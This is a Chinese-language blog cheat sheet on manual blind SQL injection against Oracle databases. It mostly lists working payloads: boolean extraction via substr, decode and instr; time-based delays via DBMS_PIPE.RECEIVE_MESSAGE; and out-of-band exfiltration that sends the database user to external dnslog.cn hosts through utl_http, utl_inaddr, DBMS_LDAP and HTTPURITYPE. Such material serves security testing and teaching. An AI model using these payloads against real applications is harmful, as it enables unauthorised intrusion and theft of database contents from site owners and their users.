Web攻防

Oracle手工盲注小结

2020-09-25  本文已影响0人  book4yi

布尔盲注:


利用substr函数截取字符进行盲注:
id=1' and (select substr(user,1,1) from dual)='S' --
id=1' and (select substr(user,2,1) from dual)='C' --
id=1' and (select ascii(substr(user,1,1)) from dual)>82
id=1' and 666=(case when ascii(substr(user,1,1))=83 then '666' else '555' end)--
id=1' and (select substr((select table_name from user_tables where rownum=1),1,1) from dual)='D' --
id=1' and (select substr((select column_name from user_tab_columns where table_name='USERS' and rownum=1),1,1) from dual)='I' --
id=1' and (select substr((select name from users where rownum=1),1,1) from dual)='x' --
利用DECODE函数进行盲注:

Value 代表某个表的任何类型的任意列或一个通过计算所得的任何结果。当每个value值被测试,如果value的值为if1,Decode 函数的结果是then1;如果value等于if2,Decode函数结果是then2。如果value结果不等于给出的任何配对时,Decode 结果就返回else

# 判断用户名的第一个字符,若为S,则返回1,否则返回0
id=1' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) -- 
id=1' and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'D',(1),0) from dual)--+
利用instr函数来进行布尔盲注:
id=1'and 1=(instr((select user from dual),'SCOTT')) --

这个函数实际利用起来感觉没有上面那两个函数方便

时间盲注:


oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据

利用DBMS_PIPE.RECEIVE_MESSAGE()函数进行延时盲注(可能需要dba权限):

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包

可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

猜解用户名:

id=1' and (select decode(substr(user,1,1),'S',dbms_pipe.receive_message('cc',5),0) from dual) is not null--
id=1' and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --

函数用法举例:

select replace('0123456789','0','a') from dual;--a123456789

猜解用户名:

id=1' and 1=DBMS_PIPE.RECEIVE_MESSAGE('cc', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 5))--

猜解用户名:

id=1' and (select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) is not null--

OOB外带:


带外通信即使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。类似于 Windows 的MySQL 中利用 LOAD_FILE 的 dns 带外通信

通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击

使用条件:

需要有发起网络请求的权限

id=1' and (select utl_http.request('http://'||(select user from dual)||'.fzrnya.dnslog.cn/') from dual) is not null--
id=1' and (select utl_inaddr.get_host_address((select user from dual)||'.u436mi.dnslog.cn') from dual) is not null--
id=1' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.1tu2me.dnslog.cn',80) from dual) is not null--
id=1' and (SELECT HTTPURITYPE((select user from dual)||'.vob8hd.dnslog.cn').GETCLOB() FROM DUAL) is not null--

以下模块都可用于发起网络请求

UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP

实际运用中还是配合sqlmap利用DNS进行OOB注入比较方便
详情请参考:使用sqlmap结合dnslog快速注入

参考如下:


Oracle命令执行小结
关于学习Oracle注入
Oracle 注入 All in ONE

上一篇下一篇

猜你喜欢

热点阅读